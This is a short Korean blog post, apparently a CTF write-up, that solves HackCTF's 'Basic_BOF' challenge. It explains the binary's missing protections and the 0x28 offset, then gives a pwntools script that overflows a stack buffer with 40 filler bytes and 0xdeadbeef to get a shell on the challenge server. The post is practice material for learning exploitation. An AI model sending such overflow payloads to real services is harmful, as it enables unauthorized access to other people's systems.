본문 바로가기
Wargame/HackCTF

Basic_BOF

by Anatis 2021. 3. 8.

HackCTF의 첫 번째 문제인 Basic_BOF이다.

 

checksec을 통해 보면 RELRO가 Partial RELRO이고 Canary는 없고 PIE도 설정되어 있지 않다.

 

코드를 보면 45바이트 만큼 입력 받을 수 있고 s와 v5의 오프셋은 0x28이다.

그렇다면 s로 부터 40 바이트 만큼 더미값을 주고 0xdeadbeef값을 넣어주면 쉘을 획득할 수 있을 것이다.

 

exploit code

from pwn import *

p = remote('ctf.j0n9hyun.xyz', 3000)

payload = 'A'*40
payload += p64(0xdeadbeef)
p.send(payload)

p.interactive()

'Wargame > HackCTF' 카테고리의 다른 글

Simple_size_bof  (0) 2021.03.16
x64 Buffer Overflow  (0) 2021.03.16
내 버퍼가 흘러넘친다!!!  (0) 2021.03.16
Basic_FSB  (0) 2021.03.16
Basic_BOF#2  (0) 2021.03.15

댓글